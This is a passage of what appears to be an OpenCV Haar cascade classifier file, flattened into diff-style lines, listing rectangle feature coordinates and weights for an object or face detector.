3. + <_> + + <_> + 3 0 16 20 -1. + <_> + 3 10 16 10 2. + <_> + + <_> + 12 4 4 6 -1. + <_> + 12 6 4 2 3. + <_> + + <_> + 11 0 6 6 -1. + <_> + 13 0 2 6 3. + <_> + + <_> + 13 1 6 4 -1. + <_> + 13 1 3 2 2. + <_> + 16 3 3 2 2. + <_> + + <_> + 11 0 6 4 -1. + <_> + 13 0 2 4 3. + <_> + + <_> + 8 6 6 9 -1. + <_> + 10 6 2 9 3. + <_> + + <_> + 7 0 3 4 -1. + <_> + 8 0 1 4 3. + <_> + + <_> + 0 17 14 2 -1. + <_> + 0 17 7 1 2. + <_> + 7 18 7 1 2. + <_> + + <_> + 6 18 2 2 -1. + <_> + 6 18 1 1 2. + <_> + 7 19 1 1 2. + <_> + + <_> + 18 17 1 3 -1. + <_> + 18 18 1 1 3. + <_> + + <_> + 17 18 2 2 -1. + <_> + 17 18 1 1 2. + <_> + 18 19 1 1 2. + <_> + + <_> + 5 7 1 9 -1. + <_> + 5 10 1 3 3. + <_> + + <_> + 5 3 6 4 -1. + <_> + 7 3 2 4 3. + <_> + + <_> + 1 9 6 2 -1. + <_> + 1 9 3 1 2. + <_> + 4 10 3 1 2. + <_> + + <_> + 6 9 2 3 -1. + <_> + 7 9 1 3 2. + <_> + + <_> + 6 8 6 12 -1. + <_> + 8 8 2 12 3. + <_> + + <_> + 4 18 2 2 -1. + <_> + 4 18 1 1 2. + <_> + 5 19 1 1 2. + <_> + + <_> + 9 1 6 6 -1. + <_> + 9 3 6 2 3. + <_> + + <_> + 6 17 6 2 -1. + <_> + 6 18 6 1 2. + <_> + + <_> + 3 18 16 2 -1. + <_> + 3 19 16 1 2. + <_> + + <_> + 3 0 3 11 -1. + <_> + 4 0 1 11 3. + <_> + + <_> + 13 18 3 1 -1. + <_> + 14 18 1 1 3. + <_> + + <_> + 6 0 9 6 -1. + <_> + 6 2 9 2 3. + <_> + + <_> + 1 2 12 4 -1. + <_> + 1 2 6 2 2. + <_> + 7 4 6 2 2. + <_> + + <_> + 3 3 6 4 -1. + <_> + 5 3 2 4 3. + <_> + + <_> + 12 0 8 1 -1. + <_> + 16 0 4 1 2. + <_> + + <_> + 9 0 6 2 -1. + <_> + 11 0 2 2 3. + <_> + + <_> + 3 3 12 1 -1. + <_> + 9 3 6 1 2. + <_> + + <_> + 2 7 6 2 -1. + <_> + 2 7 3 1 2. + <_> + 5 8 3 1 2. + <_> + + <_> + 0 8 4 6 -1. + <_> + 0 10 4 2 3. + <_> + + <_> + 9 6 3 7 -1. + <_> + 10 6 1 7 3. + <_> + + <_> + 9 6 6 13 -1. + <_> + 11 6 2 13 3. + <_> + + <_> + 11 12 6 1 -1. + <_> + 13 12 2 1 3. + <_> + + <_> + 18 9 2 6 -1. + <_> + 18 12 2 3 2. + <_> + + <_> + 17 2 3 9 -1. + <_> + 18 2 1 9 3. + <_> + + <_> + 13 8 4 6 -1. + <_> + 13 8 2 3 2. + <_> + 15 11 2 3 2. + <_> + + <_> + 4 2 12 6 -1. + <_> + 10 2 6 6 2. + <_> + + <_> + 4 14 16 6 -1. + <_> + 12 14 8 6 2. + <_> + + <_> + 6 19 10 1 -1. + <_> + 11 19 5 1 2. + <_> + + <_> + 6 17 1 3 -1. + <_> + 6 18 1 1 3. + <_> + + <_> + 4 14 10 3 -1. + <_> + 4 15 10 1 3. + <_> + + <_> + 6 0 12 12 -1. + <_> + 6 4 12 4 3. + <_> + + <_> + 5 7 4 2 -1. + <_> + 5 7 2 1 2. + <_> + 7 8 2 1 2. + <_> + + <_> + 17 5 3 2 -1. + <_> + 18 5 1 2 3. + <_> + + <_> + 8 13 6 3 -1. + <_> + 8 14 6 1 3. + <_> + + <_> + 8 13 5 3 -1. + <_> + 8 14 5 1 3. + <_> + + <_> + 13 2 1 18 -1. + <_> + 13 11 1 9 2. + <_> + + <_> + 6 10 9 2 -1. + <_> + 9 10 3 2 3. + <_> + + <_> + 11 0 7 4 -1. + <_> + 11 2 7 2 2. + <_> + + <_> + 1 0 6 8 -1. + <_> + 3 0 2 8 3. + <_> + + <_> + 9 15 3 3 -1. + <_> + 9 16 3 1 3. + <_> + + <_> + 9 17 9 3 -1. + <_> + 9 18 9 1 3. + <_> + + <_> + 12 12 3 3 -1. + <_> + 12 13 3 1 3. + <_> + + <_> + 4 1 3 5 -1. + <_> + 5 1 1 5 3. + <_> + + <_> + 10 14 2 3 -1. + <_> + 10 15 2 1 3. + <_> + + <_> + 18 17 2 2 -1. + <_> + 18 17 1 1 2. + <_> + 19 18 1 1 2. + <_> + + <_> + 18 18 2 2 -1. + <_> + 18 18 1 1 2. + <_> + 19 19 1 1 2. + <_> + + <_> + 18 18 2 2 -1. + <_> + 18 18 1 1 2. + <_> + 19 19 1 1 2. + <_> + + <_> + 4 10 9 1 -1. + <_> + 7 10 3 1 3. + <_> + + <_> + 3 9 6 5 -1. + <_> + 5 9 2 5 3. + <_> + + <_> + 18 8 1 12 -1. + <_> + 18 14 1 6 2. + <_> + + <_> + 0 2 8 6 -1. + <_> + 0 2 4 3 2. + <_> + 4 5 4 3 2. + <_> + + <_> + 9 4 3 3 -1. + <_> + 9 5 3 1 3. + <_> + + <_> + 3 18 2 2 -1. + <_> + 3 18 1 1 2. + <_> + 4 19 1 1 2. + <_> + + <_> + 6 4 4 3 -1. + <_> + 6 5 4 1 3. + <_> + + <_> + 16 7 4 2 -1. + <_> + 16 7 2 1 2. + <_> + 18 8 2 1 2. + <_> + + <_> + 5 17 1 3 -1. + <_> + 5 18 1 1 3. + <_> + + <_> + 2 0 15 20 -1. + <_> + 2 10 15 10 2. + <_> + + <_> + 8 11 6 4 -1. + <_> + 8 11 3 2 2. + <_> + 11 13 3 2 2. + <_> + + <_> + 8 16 4 3 -1. + <_> + 8 17 4 1 3. + <_> + + <_> + 8 18 2 2 -1. + <_> + 8 18 1 1 2. + <_> + 9 19 1 1 2. + <_> + + <_> + 2 16 13 3 -1. + <_> + 2 17 13 1 3. + <_> + + <_> + 16 16 2 2 -1. + <_> + 16 16 1 1 2. + <_> + 17 17 1 1 2. + <_> + + <_> + 8 1 6 3 -1. + <_> + 10 1 2 3 3. + <_> + + <_> + 16 7 2 2 -1. + <_> + 16 7 1 1 2. + <_> + 17 8 1 1 2. + <_> + + <_> + 14 7 4 2 -1. + <_> + 14 7 2 1 2. + <_> + 16 8 2 1 2. + <_> + + <_> + 4 0 14 1 -1. + <_> + 11 0 7 1 2. + <_> + + <_> + 10 4 8 2 -1. + <_> + 10 4 4 1 2. + <_> + 14 5 4 1 2. + <_> + + <_> + 8 2 3 2 -1. + <_> + 9 2 1 2 3. + <_> + + <_> + 12 11 6 3 -1. + <_> + 12 12 6 1 3. + <_> + + <_> + 1 5 1 4 -1. + <_> + 1 7 1 2 2. + <_> + + <_> + 1 1 1 18 -1. + <_> + 1 7 1 6 3. + <_> + + <_> + 11 13 3 2 -1. + <_> + 11 14 3 1 2. + <_> + + <_> + 0 1 12 2 -1. + <_> + 0 1 6 1 2. + <_> + 6 2 6 1 2. + <_> + + <_> + 10 18 2 2 -1. + <_> + 10 18 1 1 2. + <_> + 11 19 1 1 2. + <_> + + <_> + 4 5 4 4 -1. + <_> + 4 5 2 2 2. + <_> + 6 7 2 2 2. + <_> + + <_> + 6 7 1 3 -1. + <_> + 6 8 1 1 3. + <_> + + <_> + 14 10 6 2 -1. + <_> + 16 10 2 2 3. + <_> + + <_> + 16 8 3 6 -1. + <_> + 17 8 1 6 3. + <_> + + <_> + 4 10 6 2 -1. + <_> + 6 10 2 2 3. + <_> + + <_> + 6 5 3 7 -1. + <_> + 7 5 1 7 3. + <_> + + <_> + 0 13 6 6 -1. + <_> + 0 16 6 3 2. + <_> + + <_> + 12 5 1 9 -1. + <_> + 12 8 1 3 3. + <_> + + <_> + 5 9 3 3 -1. + <_> + 6 9 1 3 3. + <_> + + <_> + 7 5 6 13 -1. + <_> + 9 5 2 13 3. + <_> + + <_> + 19 8 1 10 -1. + <_> + 19 13 1 5 2. + <_> + + <_> + 11 18 6 1 -1. + <_> + 13 18 2 1 3. + <_> + + <_> + 9 7 6 12 -1. + <_> + 11 7 2 12 3. + <_> + + <_> + 12 7 6 6 -1. + <_> + 14 7 2 6 3. + <_> + + <_> + 15 8 3 4 -1. + <_> + 16 8 1 4 3. + <_> + + <_> + 6 11 4 2 -1. + <_> + 6 12 4 1 2. + <_> + + <_> + 1 6 6 8 -1. + <_> + 3 6 2 8 3. + <_> + + <_> + 11 15 6 5 -1. + <_> + 13 15 2 5 3. + <_> + + <_> + 15 17 4 2 -1. + <_> + 15 18 4 1 2. + <_> + + <_> + 13 11 6 1 -1. + <_> + 15 11 2 1 3. + <_> + + <_> + 5 18 2 2 -1. + <_> + 5 18 1 1 2. + <_> + 6 19 1 1 2. + <_> + + <_> + 4 8 4 4 -1. + <_> + 4 8 2 2 2. + <_> + 6 10 2 2 2. + <_> + + <_> + 11 7 9 3 -1. + <_> + 11 8 9 1 3. + <_> + + <_> + 0 3 10 4 -1. + <_> + 0 3 5 2 2. + <_> + 5 5 5 2 2. + <_> + + <_> + 7 18 6 1 -1. + <_> + 9 18 2 1 3. + <_> + + <_> + 0 8 3 3 -1. + <_> + 0 9 3 1 3. + <_> + + <_> + 0 0 6 8 -1. + <_> + 0 0 3 4 2. + <_> + 3 4 3 4 2. + <_> + + <_> + 7 6 3 8 -1. + <_> + 8 6 1 8 3. + <_> + + <_> + 13 7 7 3 -1. + <_> + 13 8 7 1 3. + <_> + + <_> + 3 3 2 2 -1. + <_> + 3 4 2 1 2. + <_> + + <_> + 0 3 3 3 -1. + <_> + 0 4 3 1 3. + <_> + + <_> + 9 3 5 2 -1. + <_> + 9 4 5 1 2. + <_> + + <_> + 6 5 9 4 -1. + <_> + 9 5 3 4 3. + <_> + + <_> + 3 10 12 3 -1. + <_> + 7 10 4 3 3. + <_> + + <_> + 8 7 3 6 -1. + <_> + 9 7 1 6 3. + <_> + + <_> + 5 5 6 5 -1. + <_> + 8 5 3 5 2. + <_> + + <_> + 0 5 2 3 -1. + <_> + 0 6 2 1 3. + <_> + + <_> + 9 7 3 4 -1. + <_> + 10 7 1 4 3. + <_> + + <_> + 1 0 6 15 -1. + <_> + 3 0 2 15 3. + <_> + + <_> + 15 1 3 5 -1. + <_> + 16 1 1 5 3. + <_> + + <_> + 9 2 3 10 -1. + <_> + 10 2 1 10 3. + <_> + + <_> + 8 8 6 12 -1. + <_> + 10 8 2 12 3. + <_> + + <_> + 16 4 3 4 -1. + <_> + 16 6 3 2 2. + <_> + + <_> + 16 7 2 2 -1. + <_> + 16 7 1 1 2. + <_> + 17 8 1 1 2. + <_> + + <_> + 13 0 6 9 -1. + <_> + 13 3 6 3 3. + <_> + + <_> + 7 17 1 3 -1. + <_> + 7 18 1 1 3. + <_> + + <_> + 12 1 4 2 -1. + <_> + 12 2 4 1 2. + <_> + + <_> + 17 3 1 3 -1. + <_> + 17 4 1 1 3. + <_> + + <_> + 0 16 9 3 -1. + <_> + 0 17 9 1 3. + <_> + + <_> + 3 6 2 4 -1. + <_> + 3 6 1 2 2. + <_> + 4 8 1 2 2. + <_> + + <_> + 13 18 3 1 -1. + <_> + 14 18 1 1 3. + <_> + + <_> + 0 18 4 2 -1. + <_> + 2 18 2 2 2. + <_> + + <_> + 1 19 2 1 -1. + <_> + 2 19 1 1 2. + <_> + + <_> + 0 18 4 2 -1. + <_> + 0 19 4 1 2. + <_> + + <_> + 2 17 1 3 -1. + <_> + 2 18 1 1 3. + <_> + + <_> + 4 8 3 5 -1. + <_> + 5 8 1 5 3. + <_> + + <_> + 2 1 6 7 -1. + <_> + 4 1 2 7 3. + <_> + + <_> + 3 6 2 8 -1. + <_> + 3 6 1 4 2. + <_> + 4 10 1 4 2. + <_> + + <_> + 4 5 11 10 -1. + <_> + 4 10 11 5 2. + <_> + + <_> + 0 13 20 2 -1. + <_> + 10 13 10 2 2. + <_> + + <_> + 1 13 16 3 -1. + <_> + 9 13 8 3 2. + <_> + + <_> + 16 4 4 4 -1. + <_> + 16 4 2 2 2. + <_> + 18 6 2 2 2. + <_> + + <_> + 16 0 4 12 -1. + <_> + 16 0 2 6 2. + <_> + 18 6 2 6 2. + <_> + + <_> + 14 15 3 1 -1. + <_> + 15 15 1 1 3. + <_> + + <_> + 3 4 12 10 -1. + <_> + 3 9 12 5 2. + <_> + + <_> + 9 18 2 2 -1. + <_> + 9 18 1 1 2. + <_> + 10 19 1 1 2. + <_> + + <_> + 9 18 2 2 -1. + <_> + 9 18 1 1 2. + <_> + 10 19 1 1 2. + <_> + + <_> + 13 4 2 14 -1. + <_> + 13 4 1 7 2. + <_> + 14 11 1 7 2. + <_> + + <_> + 4 2 6 4 -1. + <_> + 7 2 3 4 2. + <_> + + <_> + 0 0 18 20 -1. + <_> + 0 0 9 10 2. + <_> + 9 10 9 10 2. + <_> + + <_> + 15 11 1 2 -1. + <_> + 15 12 1 1 2. + <_> + + <_> + 16 10 2 4 -1. + <_> + 16 10 1 2 2. + <_> + 17 12 1 2 2. + <_> + + <_> + 18 17 2 2 -1. + <_> + 18 17 1 1 2. + <_> + 19 18 1 1 2. + <_> + + <_> + 9 17 1 2 -1. + <_> + 9 18 1 1 2. + <_> + + <_> + 8 4 9 6 -1. + <_> + 11 4 3 6 3. + <_> + + <_> + 6 9 9 10 -1. + <_> + 9 9 3 10 3. + <_> + + <_> + 5 0 5 4 -1. + <_> + 5 2 5 2 2. + <_> + + <_> + 5 7 11 4 -1. + <_> + 5 9 11 2 2. + <_> + + <_> + 2 4 2 14 -1. + <_> + 3 4 1 14 2. + <_> + + <_> + 8 6 3 5 -1. + <_> + 9 6 1 5 3. + <_> + + <_> + 8 4 3 9 -1. + <_> + 9 4 1 9 3. + <_> + + <_> + 0 8 20 6 -1. + <_> + 0 10 20 2 3. + <_> + + <_> + 14 16 6 1 -1. + <_> + 17 16 3 1 2. + <_> + + <_> + 17 18 2 2 -1. + <_> + 17 19 2 1 2. + <_> + + <_> + 8 17 6 3 -1. + <_> + 10 17 2 3 3. + <_> + + <_> + 4 1 9 15 -1. + <_> + 7 1 3 15 3. + <_> + + <_> + 11 5 3 12 -1. + <_> + 12 5 1 12 3. + <_> + + <_> + 0 15 4 3 -1. + <_> + 0 16 4 1 3. + <_> + + <_> + 0 0 15 1 -1. + <_> + 5 0 5 1 3. + <_> + + <_> + 6 0 6 4 -1. + <_> + 8 0 2 4 3. + <_> + + <_> + 2 0 9 3 -1. + <_> + 5 0 3 3 3. + <_> + + <_> + 13 6 3 7 -1. + <_> + 14 6 1 7 3. + <_> + + <_> + 7 6 4 2 -1. + <_> + 7 7 4 1 2. + <_> + + <_> + 6 18 6 1 -1. + <_> + 8 18 2 1 3. + <_> + + <_> + 18 6 2 2 -1. + <_> + 18 7 2 1 2. + <_> + + <_> + 6 4 7 3 -1. + <_> + 6 5 7 1 3. + <_> + + <_> + 12 7 3 1 -1. + <_> + 13 7 1 1 3. + <_> + + <_> + 15 1 2 10 -1. + <_> + 15 1 1 5 2. + <_> + 16 6 1 5 2. + <_> + + <_> + 0 18 2 2 -1. + <_> + 0 19 2 1 2. + <_> + + <_> + 19 4 1 8 -1. + <_> + 19 8 1 4 2. + <_> + + <_> + 1 17 1 3 -1. + <_> + 1 18 1 1 3. + <_> + + <_> + 0 15 6 4 -1. + <_> + 0 15 3 2 2. + <_> + 3 17 3 2 2. + <_> + + <_> + 19 0 1 18 -1. + <_> + 19 6 1 6 3. + <_> + + <_> + 10 2 6 2 -1. + <_> + 12 2 2 2 3. + <_> + + <_> + 2 8 12 2 -1. + <_> + 6 8 4 2 3. + <_> + + <_> + 16 0 4 1 -1. + <_> + 18 0 2 1 2. + <_> + + <_> + 8 4 2 6 -1. + <_> + 8 7 2 3 2. + <_> + + <_> + 14 5 2 10 -1. + <_> + 15 5 1 10 2. + <_> + + <_> + 13 4 2 2 -1. + <_> + 13 5 2 1 2. + <_> + + <_> + 11 1 3 6 -1. + <_> + 11 3 3 2 3. + <_> + + <_> + 6 9 12 2 -1. + <_> + 10 9 4 2 3. + <_> + + <_> + 9 16 4 2 -1. + <_> + 9 17 4 1 2. + <_> + + <_> + 5 14 15 4 -1. + <_> + 5 16 15 2 2. + <_> + + <_> + 18 16 2 2 -1. + <_> + 18 17 2 1 2. + <_> + + <_> + 16 18 2 2 -1. + <_> + 16 18 1 1 2. + <_> + 17 19 1 1 2. + <_> + + <_> + 6 4 3 8 -1. + <_> + 7 4 1 8 3. + <_> + + <_> + 5 9 3 1 -1. + <_> + 6 9 1 1 3. + <_> + + <_> + 0 8 1 6 -1. + <_> + 0 10 1 2 3. + <_> + + <_> + 11 2 9 6 -1. + <_> + 14 2 3 6 3. + <_> + + <_> + 12 2 6 4 -1. + <_> + 14 2 2 4 3. + <_> + + <_> + 1 7 2 4 -1. + <_> + 1 9 2 2 2. + <_> + + <_> + 13 1 6 4 -1. + <_> + 13 3 6 2 2. + <_> + + <_> + 4 10 2 10 -1. + <_> + 4 10 1 5 2. + <_> + 5 15 1 5 2. + <_> + + <_> + 2 16 9 3 -1. + <_> + 5 16 3 3 3. + <_> + + <_> + 1 2 3 9 -1. + <_> + 2 2 1 9 3. + <_> + + <_> + 19 7 1 4 -1. + <_> + 19 9 1 2 2. + <_> + + <_> + 14 11 6 8 -1. + <_> + 14 11 3 4 2. + <_> + 17 15 3 4 2. + <_> + + <_> + 15 12 4 6 -1. + <_> + 15 12 2 3 2. + <_> + 17 15 2 3 2. + <_> + + <_> + 16 15 2 2 -1. + <_> + 16 15 1 1 2. + <_> + 17 16 1 1 2. + <_> + + <_> + 17 16 2 2 -1. + <_> + 17 16 1 1 2. + <_> + 18 17 1 1 2. + <_> + + <_> + 17 16 2 2 -1. + <_> + 17 16 1 1 2. + <_> + 18 17 1 1 2. + <_> + + <_> + 2 3 2 2 -1. + <_> + 2 3 1 1 2. + <_> + 3 4 1 1 2. + <_> + + <_> + 10 10 3 3 -1. + <_> + 11 10 1 3 3. + <_> + + <_> + 5 9 7 8 -1. + <_> + 5 13 7 4 2. + <_> + + <_> + 7 16 2 2 -1. + <_> + 7 16 1 1 2. + <_> + 8 17 1 1 2. + <_> + + <_> + 7 16 2 2 -1. + <_> + 7 16 1 1 2. + <_> + 8 17 1 1 2. + <_> + + <_> + 9 8 10 3 -1. + <_> + 14 8 5 3 2. + <_> + + <_> + 6 7 4 8 -1. + <_> + 6 7 2 4 2. + <_> + 8 11 2 4 2. + <_> + + <_> + 1 6 4 3 -1. + <_> + 1 7 4 1 3. + <_> + + <_> + 6 10 6 10 -1. + <_> + 8 10 2 10 3. + <_> + + <_> + 4 6 3 6 -1. + <_> + 5 6 1 6 3. + <_> + + <_> + 3 10 4 4 -1. + <_> + 3 10 2 2 2. + <_> + 5 12 2 2 2. + <_> + + <_> + 3 10 4 4 -1. + <_> + 3 10 2 2 2. + <_> + 5 12 2 2 2. + <_> + + <_> + 3 10 4 4 -1. + <_> + 3 10 2 2 2. + <_> + 5 12 2 2 2. + <_> + + <_> + 14 8 2 6 -1. + <_> + 15 8 1 6 2. + <_> + + <_> + 3 10 4 4 -1. + <_> + 3 10 2 2 2. + <_> + 5 12 2 2 2. + <_> + + <_> + 3 10 4 4 -1. + <_> + 3 10 2 2 2. + <_> + 5 12 2 2 2. + <_> + + <_> + 12 4 3 9 -1. + <_> + 13 4 1 9 3. + <_> + + <_> + 12 3 1 12 -1. + <_> + 12 7 1 4 3. + <_> + + <_> + 2 0 18 1 -1. + <_> + 8 0 6 1 3. + <_> + + <_> + 10 0 10 6 -1. + <_> + 10 0 5 3 2. + <_> + 15 3 5 3 2. + <_> + + <_> + 18 16 2 2 -1. + <_> + 18 17 2 1 2. + <_> + + <_> + 3 5 4 2 -1. + <_> + 3 5 2 1 2. + <_> + 5 6 2 1 2. + <_> + + <_> + 11 8 3 3 -1. + <_> + 12 8 1 3 3. + <_> + + <_> + 11 7 3 5 -1. + <_> + 12 7 1 5 3. + <_> + + <_> + 3 19 15 1 -1. + <_> + 8 19 5 1 3. + <_> + + <_> + 8 13 3 2 -1. + <_> + 8 14 3 1 2. + <_> + + <_> + 2 12 8 4 -1. + <_> + 2 12 4 2 2. + <_> + 6 14 4 2 2. + <_> + + <_> + 16 16 2 2 -1. + <_> + 16 16 1 1 2. + <_> + 17 17 1 1 2. + <_> + + <_> + 7 0 3 2 -1. + <_> + 8 0 1 2 3. + <_> + + <_> + 6 7 2 5 -1. + <_> + 7 7 1 5 2. + <_> + + <_> + 18 0 2 17 -1. + <_> + 19 0 1 17 2. + <_> + + <_> + 16 16 1 3 -1. + <_> + 16 17 1 1 3. + <_> + + <_> + 14 8 3 7 -1. + <_> + 15 8 1 7 3. + <_> + + <_> + 10 17 2 2 -1. + <_> + 10 17 1 1 2. + <_> + 11 18 1 1 2. + <_> + + <_> + 4 9 1 3 -1. + <_> + 4 10 1 1 3. + <_> + + <_> + 18 10 2 3 -1. + <_> + 18 11 2 1 3. + <_> + + <_> + 12 1 3 10 -1. + <_> + 13 1 1 10 3. + <_> + + <_> + 8 12 9 1 -1. + <_> + 11 12 3 1 3. + <_> + + <_> + 5 18 2 2 -1. + <_> + 5 18 1 1 2. + <_> + 6 19 1 1 2. + <_> + + <_> + 19 6 1 9 -1. + <_> + 19 9 1 3 3. + <_> + + <_> + 4 7 2 4 -1. + <_> + 4 7 1 2 2. + <_> + 5 9 1 2 2. + <_> + + <_> + 1 4 6 14 -1. + <_> + 3 4 2 14 3. + <_> + + <_> + 10 5 9 3 -1. + <_> + 13 5 3 3 3. + <_> + + <_> + 18 7 2 6 -1. + <_> + 18 9 2 2 3. + <_> + + <_> + 5 6 2 7 -1. + <_> + 6 6 1 7 2. + <_> + + <_> + 10 4 6 8 -1. + <_> + 13 4 3 8 2. + <_> + + <_> + 0 8 2 9 -1. + <_> + 0 11 2 3 3. + <_> + + <_> + 0 7 5 3 -1. + <_> + 0 8 5 1 3. + <_> + + <_> + 8 1 7 2 -1. + <_> + 8 2 7 1 2. + <_> + + <_> + 7 5 3 5 -1. + <_> + 8 5 1 5 3. + <_> + + <_> + 19 2 1 2 -1. + <_> + 19 3 1 1 2. + <_> + + <_> + 6 7 10 11 -1. + <_> + 11 7 5 11 2. + <_> + + <_> + 9 19 6 1 -1. + <_> + 11 19 2 1 3. + <_> + + <_> + 3 0 12 1 -1. + <_> + 7 0 4 1 3. + <_> + + <_> + 4 1 6 5 -1. + <_> + 6 1 2 5 3. + <_> + + <_> + 6 12 12 6 -1. + <_> + 10 12 4 6 3. + <_> + + <_> + 16 13 2 3 -1. + <_> + 16 14 2 1 3. + <_> + + <_> + 7 14 4 2 -1. + <_> + 7 15 4 1 2. + <_> + + <_> + 7 14 2 2 -1. + <_> + 7 15 2 1 2. + <_> + + <_> + 3 10 2 4 -1. + <_> + 3 10 1 2 2. + <_> + 4 12 1 2 2. + <_> + + <_> + 0 3 2 6 -1. + <_> + 0 5 2 2 3. + <_> + + <_> + 1 10 2 2 -1. + <_> + 1 10 1 1 2. + <_> + 2 11 1 1 2. + <_> + + <_> + 16 4 4 3 -1. + <_> + 16 5 4 1 3. + <_> + + <_> + 5 10 2 4 -1. + <_> + 5 10 1 2 2. + <_> + 6 12 1 2 2. + <_> + + <_> + 5 11 13 2 -1. + <_> + 5 12 13 1 2. + <_> + + <_> + 10 2 3 11 -1. + <_> + 11 2 1 11 3. + <_> + + <_> + 10 2 4 4 -1. + <_> + 10 4 4 2 2. + <_> + + <_> + 8 8 6 2 -1. + <_> + 10 8 2 2 3. + <_> + + <_> + 11 2 3 3 -1. + <_> + 12 2 1 3 3. + <_> + + <_> + 6 18 14 2 -1. + <_> + 6 18 7 1 2. + <_> + 13 19 7 1 2. + <_> + + <_> + 17 7 1 12 -1. + <_> + 17 11 1 4 3. + <_> + + <_> + 10 5 10 3 -1. + <_> + 10 6 10 1 3. + <_> + + <_> + 6 1 3 3 -1. + <_> + 7 1 1 3 3. + <_> + + <_> + 13 8 3 1 -1. + <_> + 14 8 1 1 3. + <_> + + <_> + 10 14 2 6 -1. + <_> + 10 16 2 2 3. + <_> + + <_> + 4 1 12 14 -1. + <_> + 8 1 4 14 3. + <_> + + <_> + 14 1 6 14 -1. + <_> + 16 1 2 14 3. + <_> + + <_> + 3 16 2 2 -1. + <_> + 3 16 1 1 2. + <_> + 4 17 1 1 2. + <_> + + <_> + 0 16 2 2 -1. + <_> + 0 17 2 1 2. + <_> + + <_> + 15 6 4 6 -1. + <_> + 15 6 2 3 2. + <_> + 17 9 2 3 2. + <_> + + <_> + 12 5 2 2 -1. + <_> + 12 6 2 1 2. + <_> + + <_> + 7 6 6 13 -1. + <_> + 9 6 2 13 3. + <_> + + <_> + 1 9 6 5 -1. + <_> + 3 9 2 5 3. + <_> + + <_> + 0 5 3 4 -1. + <_> + 0 7 3 2 2. + <_> + + <_> + 4 1 16 2 -1. + <_> + 4 1 8 1 2. + <_> + 12 2 8 1 2. + <_> + + <_> + 1 18 4 2 -1. + <_> + 1 18 2 1 2. + <_> + 3 19 2 1 2. + <_> + + <_> + 7 7 3 4 -1. + <_> + 8 7 1 4 3. + <_> + + <_> + 3 4 9 3 -1. + <_> + 6 4 3 3 3. + <_> + + <_> + 4 6 6 10 -1. + <_> + 6 6 2 10 3. + <_> + + <_> + 9 0 8 10 -1. + <_> + 13 0 4 10 2. + <_> + + <_> + 8 0 8 1 -1. + <_> + 12 0 4 1 2. + <_> + + <_> + 6 2 8 16 -1. + <_> + 6 2 4 8 2. + <_> + 10 10 4 8 2. + <_> + + <_> + 14 10 2 10 -1. + <_> + 14 10 1 5 2. + <_> + 15 15 1 5 2. + <_> + + <_> + 12 11 1 2 -1. + <_> + 12 12 1 1 2. + <_> + + <_> + 16 0 3 8 -1. + <_> + 17 0 1 8 3. + <_> + + <_> + 14 0 6 10 -1. + <_> + 17 0 3 10 2. + <_> + + <_> + 16 0 3 5 -1. + <_> + 17 0 1 5 3. + <_> + + <_> + 4 5 11 2 -1. + <_> + 4 6 11 1 2. + <_> + + <_> + 1 0 2 1 -1. + <_> + 2 0 1 1 2. + <_> + + <_> + 0 0 2 3 -1. + <_> + 0 1 2 1 3. + <_> + + <_> + 11 6 6 11 -1. + <_> + 13 6 2 11 3. + <_> + + <_> + 14 0 3 1 -1. + <_> + 15 0 1 1 3. + <_> + + <_> + 19 7 1 2 -1. + <_> + 19 8 1 1 2. + <_> + + <_> + 17 0 3 9 -1. + <_> + 18 0 1 9 3. + <_> + + <_> + 12 7 3 4 -1. + <_> + 13 7 1 4 3. + <_> + + <_> + 0 1 14 2 -1. + <_> + 0 1 7 1 2. + <_> + 7 2 7 1 2. + <_> + + <_> + 3 1 3 2 -1. + <_> + 4 1 1 2 3. + <_> + + <_> + 4 0 15 2 -1. + <_> + 9 0 5 2 3. + <_> + + <_> + 10 2 6 1 -1. + <_> + 12 2 2 1 3. + <_> + + <_> + 9 4 6 11 -1. + <_> + 11 4 2 11 3. + <_> + + <_> + 2 16 2 4 -1. + <_> + 2 18 2 2 2. + <_> + + <_> + 6 17 6 3 -1. + <_> + 8 17 2 3 3. + <_> + + <_> + 7 9 6 2 -1. + <_> + 9 9 2 2 3. + <_> + + <_> + 6 8 9 2 -1. + <_> + 9 8 3 2 3. + <_> + + <_> + 6 6 2 10 -1. + <_> + 6 6 1 5 2. + <_> + 7 11 1 5 2. + <_> + + <_> + 0 11 2 3 -1. + <_> + 0 12 2 1 3. + <_> + + <_> + 11 15 4 1 -1. + <_> + 13 15 2 1 2. + <_> + + <_> + 6 17 1 2 -1. + <_> + 6 18 1 1 2. + <_> + + <_> + 0 0 6 20 -1. + <_> + 2 0 2 20 3. + <_> + + <_> + 3 10 2 2 -1. + <_> + 4 10 1 2 2. + <_> + + <_> + 4 7 3 5 -1. + <_> + 5 7 1 5 3. + <_> + + <_> + 3 12 6 2 -1. + <_> + 5 12 2 2 3. + <_> + + <_> + 6 15 7 4 -1. + <_> + 6 17 7 2 2. + <_> + + <_> + 17 16 2 2 -1. + <_> + 17 16 1 1 2. + <_> + 18 17 1 1 2. + <_> + + <_> + 15 1 3 16 -1. + <_> + 16 1 1 16 3. + <_> + + <_> + 6 16 6 3 -1. + <_> + 8 16 2 3 3. + <_> + + <_> + 15 14 3 2 -1. + <_> + 15 15 3 1 2. + <_> + + <_> + 12 16 1 2 -1. + <_> + 12 17 1 1 2. + <_> + + <_> + 0 2 4 4 -1. + <_> + 0 2 2 2 2. + <_> + 2 4 2 2 2. + <_> + + <_> + 1 1 6 4 -1. + <_> + 1 1 3 2 2. + <_> + 4 3 3 2 2. + <_> + + <_> + 1 18 1 2 -1. + <_> + 1 19 1 1 2. + <_> + + <_> + 4 7 2 3 -1. + <_> + 4 8 2 1 3. + <_> + + <_> + 1 0 9 14 -1. + <_> + 1 7 9 7 2. + <_> + + <_> + 4 9 2 6 -1. + <_> + 4 9 1 3 2. + <_> + 5 12 1 3 2. + <_> + + <_> + 3 9 4 3 -1. + <_> + 5 9 2 3 2. + <_> + + <_> + 0 9 2 4 -1. + <_> + 0 11 2 2 2. + <_> + + <_> + 16 6 3 10 -1. + <_> + 17 6 1 10 3. + <_> + + <_> + 16 11 2 1 -1. + <_> + 17 11 1 1 2. + <_> + + <_> + 5 7 4 4 -1. + <_> + 5 9 4 2 2. + <_> + + <_> + 10 11 9 2 -1. + <_> + 13 11 3 2 3. + <_> + + <_> + 15 10 2 2 -1. + <_> + 15 10 1 1 2. + <_> + 16 11 1 1 2. + <_> + + <_> + 10 6 6 14 -1. + <_> + 10 13 6 7 2. + <_> + + <_> + 14 7 3 5 -1. + <_> + 15 7 1 5 3. + <_> + + <_> + 6 11 12 3 -1. + <_> + 10 11 4 3 3. + <_> + 